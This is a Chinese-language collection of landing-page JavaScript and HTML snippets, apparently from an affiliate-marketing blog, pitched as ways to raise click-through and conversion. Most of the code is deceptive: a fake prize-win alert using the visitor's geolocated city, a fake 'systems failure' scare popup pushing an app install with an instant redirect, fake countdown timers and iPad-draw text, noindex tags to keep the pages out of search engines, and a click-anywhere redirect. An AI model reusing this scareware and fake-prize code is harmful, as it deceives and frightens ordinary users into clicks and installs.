快速提升Landing Page的CTR、转化率JavaScript代码

3条必备通用代码:

<meta name=“viewport” content=“width=device-width; initial-scale=1.0; maximum-scale=1.0; user-scalable=0;”>

<meta name=“apple-mobile-web-app-capable” content=“yes”>

<meta name=“robots” content=“noindex, nofollow, noarchive, nosnippet” />

打开LP弹窗代码:

<script>

alert(“Congratulations!\n\nYou have come first in “+place+”’s (Mobile) prize draw contest!\n\nYou are now entitled to choose (1) reward!\n\nPress OK to continue…“);

</script>

单页弹窗代码:

<body bgcolor=“#000000”><script type=‘text/javascript’>alert(‘***** WARNING ***** \n\n(4) Systems failure detected while you attempted to perform this download. Your phone contacts, photos & password could be damaged. \n\nImmediate action must be taken : \n\nStep 1: Install Kiwi Calendar Recovery from App Store \n\nStep 2: Load Apps & Run Auto Recovery function \n\nStep 3: Wait for 60 Seconds for System Repair \n\r\n\r *** Exit at your own risk ***’);</script>

<meta http-equiv=“refresh” content=“0;URL=http://alsomomoney” />

</body>

显示地理位置的JavaScript Code:

<script language=“JavaScript” src=“http://j.maxmind.com/app/geoip.js"&gt;&lt;/script>

<script>

var place;

var city = geoip_city();

var country = geoip_country_name();

if(city==‘’) place = country;

else place = city;

</script>

引用处代码:<script language=“JavaScript”>document.write(place);</script>

显示星期几的或具体上下午的JavaScript Code:

<strong><script type=“text/javascript”>

var d=new Date();

var weekday=new Array(7);

weekday[0]=” Sunday “;

weekday[1]=” Monday “;

weekday[2]=” Tuesday “;

weekday[3]=” Wednesday “;

weekday[4]=” Thursday “;

weekday[5]=” Friday “;

weekday[6]=” Saturday “;

document.write(“” + weekday[d.getDay()]);

</script> <script language=“JavaScript”>

<!– Begin

var d = new Date();

var h = d.getHours();

if (h < 2) document.write(“morning, “);

else if (h < 3) document.write(“morning, “);

else if (h < 7) document.write(“morning, “);

else if (h < 12) document.write(“morning, “);

else if (h < 17) document.write(“afternoon, “);

else if (h < 23) document.write(“evening, “);

else document.write(“evening”);

// End –>

</script></strong> we randomly select one <strong></strong> user from <strong><script language=“JavaScript”>document.write(place);</script>

</strong> who is eligible for a chance to win a brand new iPad! <br />Based on today’s draw you are this <strong>

<script language=“JavaScript”>

<!– Begin

var d = new Date();

var h = d.getHours();

if (h < 2) document.write(“morning’s”);

else if (h < 3) document.write(“morning’s”);

else if (h < 7) document.write(“morning’s”);

else if (h < 12) document.write(“morning’s”);

else if (h < 17) document.write(“afternoon’s”);

else if (h < 23) document.write(“evening’s”);

else document.write(“evening’s”);

// End –>

</script>

计时器代码:

<script>

setInterval(‘countdown()’,1000);

function countdown(){

var mins = parseInt(document.getElementById(“mins”).innerHTML);

var secs = parseInt(document.getElementById(“hsecs”).innerHTML);

if(mins!=0 && secs==0){nmins = mins -1; nsecs = 59;}

else if(mins!=0 || secs!=0){nmins = mins; nsecs = secs - 1;}

else if(mins==0 && secs==0){nmins = mins; nsecs = secs;}

document.getElementById(“mins”).innerHTML = nmins;

document.getElementById(“hsecs”).innerHTML = nsecs;

if(nsecs < 10) nsecs = “0” + nsecs;

document.getElementById(“secs”).innerHTML = nsecs;

}

</script>

引用计时器代码:

<span style=“color:red;”><span id=“mins”>3</span> Mins

<span id=“secs”>41</span> Sec <span style=“display: none;” id=“hsecs”>41</span> </span>

点击页面任何地方跳你想跳的页面:

<script type=“text/javascript”> document.onclick = function(){location.href = “链接”};</script>